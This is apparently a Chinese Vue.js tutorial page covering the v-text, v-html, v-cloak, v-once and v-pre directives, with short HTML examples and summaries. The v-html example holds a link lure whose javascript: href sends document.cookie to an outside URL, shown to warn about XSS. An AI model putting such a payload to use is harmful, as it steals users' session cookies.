内置指令

简介: 内置指令

1.v-text指令:


<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-text指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <div>你好,{{name}}</div>
      <div v-text="name"></div>
      <div v-text="str"></div>
    </div>
  </body>
  <script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
      el:'#root',
      data:{
        name:'JOJO',
        str:'<h3>你好啊!</h3>'
      }
    })
  </script>
</html>

效果:


总结:

之前学过的指令:

v-bind:单向绑定解析表达式,可简写为:

v-model:双向数据绑定

v-for:遍历数组 / 对象 / 字符串

v-on:绑定事件监听,可简写为@

v-if:条件渲染(动态控制节点是否存存在)

v-else:条件渲染(动态控制节点是否存存在)

v-show:条件渲染 (动态控制节点是否展示)

v-text指令:

作用:向其所在的节点中渲染文本内容

与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。


2.v-html指令


<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-html指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <div>Hello,{{name}}</div>
      <div v-html="str"></div>
      <div v-html="str2"></div>
    </div>
  </body>
  <script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    new Vue({
      el:'#root',
      data:{
        name:'JOJO',
        str:'<h3>你好啊!</h3>',
        str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
      }
    })
  </script>
</html>

效果:


总结:


v-html指令:

作用:向指定节点中渲染包含html结构的内容


与插值语法的区别:


v-html会替换掉节点中所有的内容,{{xx}}则不会

v-html可以识别html结构


严重注意:v-html有安全性问题!!!

在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击

一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!!!


3.v-cloak指令


<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-cloak指令</title>
    <style>
      [v-cloak]{
        display:none;
      }
    </style>
  </head>
  <body>
    <div id="root">
      <h2 v-cloak>{{name}}</h2>
    </div>
    <script type="text/javascript" src="../js/vue.js"></script>
  </body>
  <script type="text/javascript">
    Vue.config.productionTip = false
    new Vue({
      el:'#root',
      data:{
        name:'尚硅谷'
      }
    })
  </script>
</html>

效果:

总结:

v-cloak指令(没有值):

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题


4.v-once指令


<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-once指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2 v-once>n初始化的值是:{{n}}</h2>
            <h2>n现在的值是:{{n}}</h2>
            <button @click="n++">点我n+1</button>
    </div>
  </body>
  <script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
      el:'#root',
      data:{
        n:1
      }
    })
  </script>
</html>

效果:

总结:

v-once指令:

  1. v-once所在节点在初次动态渲染后,就视为静态内容了
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能


5.v-pre指令


<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>v-pre指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2 v-pre>Vue其实很简单</h2>
      <h2>当前的n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>
    </div>
  </body>
  <script type="text/javascript">
    Vue.config.productionTip = false
    new Vue({
      el:'#root',
      data:{
        n:1
      }
    })
  </script>
</html>

效果:

相关文章
|
存储 Shell 开发者
E906的指令|学习笔记
快速学习 E906的指令
569 0
|
9月前
|
Kubernetes 监控 容器
k9s常用的指令
K9s 是一个用于 Kubernetes 群集管理的命令行工具,它提供了一系列常用的指令,用于查看、管理和监控 Kubernetes 资源。以下是一些常用的 K9s 指令: 1. **查看资源列表:** - `:po`:查看 Pod 列表。 - `:svc`:查看 Service 列表。 - `:deploy`:查看 Deployment 列表。 - `:ns`:查看 Namespace 列表。 2. **在资源列表中的操作:** - 使用上下箭头键浏览资源列表。 - `Enter` 键进入资源的详细信息视图。 - `d`:删除选定的资源。
476 4
|
算法 Unix Linux
Linux基本操作指令(3)
Linux基本操作指令(3)
72 0
|
存储 JavaScript
5.2 汇编语言:标志位测试指令
汇编语言是一种面向机器的低级语言,用于编写计算机程序。汇编语言与计算机机器语言非常接近,汇编语言程序可以使用符号、助记符等来代替机器语言的二进制码,但最终会被汇编器编译成计算机可执行的机器码。标志位测试指令是汇编语言中用于测试处理器标志位状态的指令。标志位是位于处理器状态寄存器中的一组特殊标志,用于指示上一个运算的结果是否为零、是否进位/借位、是否溢出等等。可以使用标志位测试指令来检查标志位的状态,并在需要时根据标志位状态进行操作。
|
Kubernetes API 容器
2022-10-13-k8s的操作指令
2022-10-13-k8s的操作指令
120 0
v-if 指令
1.v-if指令的作用是:根据表达式的真假切换元素的显示状态 2.本质是通过操纵dom元素来切换显示状态 3.表达式的值为true,元素存在于dom树中,为false,从dom树中移除 4.频繁的切换使用v-show,反之使用v-if,前者的切换消耗小
|
JavaScript 前端开发
3、指令(v-if与v-for的区别、各种指令的使用)
3、指令(v-if与v-for的区别、各种指令的使用)
173 0
3、指令(v-if与v-for的区别、各种指令的使用)
|
网络协议 NoSQL C语言
|
Go Docker 容器
Dockfile指令
笔记:Dockfile指令
209 0
NgModel指令学习笔记
NgModel指令学习笔记
181 0
NgModel指令学习笔记